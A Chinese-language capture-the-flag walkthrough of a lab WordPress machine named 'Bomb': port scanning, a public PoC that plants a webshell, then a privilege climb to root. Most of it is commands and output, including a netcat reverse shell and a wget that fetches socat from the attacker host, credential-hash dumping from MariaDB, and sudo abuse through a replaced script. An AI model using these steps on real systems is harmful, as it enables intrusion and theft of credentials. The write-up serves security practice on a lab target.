

Bomb_LingDong

靶机IP：172.16.16.36 Kali机器IP：172.16.16.250

端口扫描(NMAP)

1、NMAP全端口扫描结果

```
(kali㉿kali)-[~/Desktop/Bomb]
└─$ sudo nmap --min-rate 10000 -p- 172.16.16.36
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 14:10 +0800
Nmap scan report for bomb.dsz (172.16.16.36)
Host is up (0.0063s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:C7:E9:19 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 14.60 seconds
```

2、NMAP详细扫描结果

```
(kali㉿kali)-[~/Desktop/Bomb]
└─$ sudo nmap -sT -sV -sC -p80,22 172.16.16.36
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 14:11 +0800
Nmap scan report for bomb.dsz (172.16.16.36)
Host is up (0.00048s latency).
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.67 ((Unix) PHP/8.1.34)
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.67 (Unix) PHP/8.1.34
|_http-generator: WordPress 7.1-beta1
|_http-title: Bomb WordPress
MAC Address: 08:00:27:C7:E9:19 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
Nmap done: 1 IP address (1 host up) scanned in 10.55 seconds
```

通过扫描收集的信息靶机开放了TCP22、80端口，优先级应该80，群里面的靶机我建议你连接一次SSH，看看SSH的baner是否有信息。

wordpress

web看了一下是wordpress，最近出了一个漏洞，/wordpress/CVE-2026-63030，先不用wpscan扫描，github找了一个POC，<https://github.com/lcex0/wp2shell-poc>

```
(kali㉿kali)-[~/Desktop/Bomb/wp2shell-poc-main]
└─$ python3 wp2shell.py shell http://172.16.16.36/ --cmd "busybox nc 172.16.16.250 7777 -e /bin/bash"
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
```

```
[+] Administrator created: wp2_ad197d11ef5b
[*] Authenticating as 'wp2_ad197d11ef5b'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://172.16.16.36/wp-content/plugins/wp2shell_39b4b737/wp2shell_39b4b737.php
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
[-] cannot reach http://172.16.16.36: timed out
```

POC不是很稳定，要多执行几次，使用socat稳定shell。

kali机器：

```
└─(kali㉿kali)-[~/kaliTools]
└─$ ./socat TCP-LISTEN:7766,reuseaddr FILE:`tty`,raw,echo=0
```

靶机：

```
cd tmp
busybox wget http://172.16.16.250:8080/socat
chmod +x socat
./socat TCP:172.16.16.250:7766 EXEC:"bash -li",pty,stderr,sigint,setsid
```

简单翻翻

```
apache@Bomb:/home$ id
uid=104(apache) gid=106(apache) groups=82(www-data),106(apache),106(apache)
apache@Bomb:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21:./var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:./sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
apache:x:104:106:apache:/var/www:/sbin/nologin
ll104567:x:1000:1000:./home/ll104567:/bin/bash
mysql:x:101:102:mysql:/var/lib/mysql:/sbin/nologin
apache@Bomb:/home$ ls -liah
total 12K
 7914 drwxr-xr-x   3 root    root      4.0K Jul 20 00:41 .
    2 drwxr-xr-x  21 root    root      4.0K Jul 20 15:50 ..
   27 drwx-----  2 ll104567 ll104567  4.0K Jul 21 14:18 ll104567
```

- 有一个用户ll104567，应该是横移过去才能继续提权。做了如下尝试：
- 1、linpeas.sh跑了一下，没有看什么有用的信息。
 - 2、翻查了/opt/wordpress/源代码，也没有什么发现。
 - 3、登录mysql，拿到12138的wphash：wp\$2y\$10nLufYeuGcxQUarmPIWasteI9SqJOkGUUzzBXBYFhaXkiDKKabQ3VK，去掉开头的\$wp，没有破解出来。
 - 4、修改wp用户12138的密码，UPDATE wp_users SET user_pass = 'e10adc3949ba59abbe56e057f20f883e' WHERE ID=1;登录使用密码123456，登录wp后台翻查有用的信息。
 - 5、subrute.sh爆破ll104567和apache的密码。

```
apache@Bomb:/home$ ls -liah
total 12K
 7914 drwxr-xr-x   3 root    root      4.0K Jul 20 00:41 .
    2 drwxr-xr-x  21 root    root      4.0K Jul 20 15:50 ..
   27 drwx-----  2 ll104567 ll104567  4.0K Jul 21 14:18 ll104567
apache@Bomb:/home$
apache@Bomb:/home$ mysql -u wpuser -pwppass wordpress
mysql: Deprecated program name. It will be removed in a future release, use
'/usr/bin/mariadb' instead
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 78
Server version: 11.8.8-MariaDB Alpine Linux

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [wordpress]> USE wordpress;
Database changed
;
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
+-----+
| ID | user_login          | user_pass                                     |
user_email                                     |
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
+-----+
|  1 | 12138               | $wp$2y$10$nLufYeuGcxQUarmPIWasteI9SqJOkGUUzzBXBYFhaXkiDKKabQ3VK |
admin@bomb.dsz                               |
| 26 | wp2_20604ae4dea5    | $wp$2y$10$xLGE65K01VYDUn9ubFaUG00xkvehC.Dp9p4xDUIyIaJTexZD6BfHW |
wp2_20604ae4dea5@wp2shell.invalid           |
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
+-----+
2 rows in set (0.001 sec)
```

搜索一下用户ll104567所有的文件，发现/usr/bin/12138.txt。

```
apache@Bomb:/home$ find / -path "/proc" -prune -o -path "/sys" -prune -o -path "/run" -prune
-o -user ll104567 -o -group ll104567 2>/dev/null
/proc
/usr/bin/12138.txt
/run
/sys
```

```
apache@Bomb:/home$ cat /usr/bin/12138.txt
Fxa6DZEOnghp20V5aXRPapache@Bomb:/home$
```

“Fxa6DZEOnghp20V5aXRPapache”这个应该是ll104567的密码。
切换过去看看。

提权

```
apache@Bomb:/home$ su ll104567
Password:
ll104567@Bomb:/home$ id
uid=1000(ll104567) gid=1000(ll104567) groups=1000(ll104567)
ll104567@Bomb:/home$ sudo -l
Matching Defaults entries for ll104567 on Bomb:
secure_path=/usr/local/sbin\:usr/local/bin\:usr/sbin\:usr/bin\:sbin\:bin
Runas and Command-specific defaults for ll104567:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User ll104567 may run the following commands on Bomb:
    (ALL) NOPASSWD: /home/ll104567/12138.sh
```

sudo -l ,可以无密码运行/home/ll104567/12138.sh，尽管12138.sh无法修改，但是文件在ll104567的家目录啊，我们可以移动12138.sh然后再次新建一个12138.sh。

```
ll104567@Bomb:~$ ls -liah
total 16K
    27 drwx-----    2 ll104567 ll104567    4.0K Jul 21 14:18 .
   7914 drwxr-xr-x    3 root      root      4.0K Jul 20 00:41 ..
  20271 lrwxrwxrwx    1 root      root        9 Jul 20 09:35 .bash_history -> /dev/null
  20275 lrwxrwxrwx    1 root      root        9 Jul 20 09:36 .viminfo -> /dev/null
  20483 -rwxr-xr-x    1 root      root     2.5K Jul 20 01:50 12138.sh
  20484 -rw-r--r--    1 root      root      44 Jul 20 01:40 user.txt
ll104567@Bomb:~$ mv 12138.sh 12138.sh.bak
ll104567@Bomb:~$ echo "bash" > 12138.sh
ll104567@Bomb:~$ chmod +x 12138.sh
ll104567@Bomb:~$ sudo /home/ll104567/12138.sh
root@Bomb:/home/ll104567# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Bomb:/home/ll104567#
```

最后展示一下

```
root@Bomb:/home/ll104567# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Bomb:/home/ll104567# cat /home/ll104567/user.txt
flag{user-bea7e45c177a6909a5a5c6138616b7e3}
root@Bomb:/home/ll104567# cat /root/root.txt
flag{root-8c7a3f1b9d4e2f6a0c5b8d3e1f7a4c9b}
```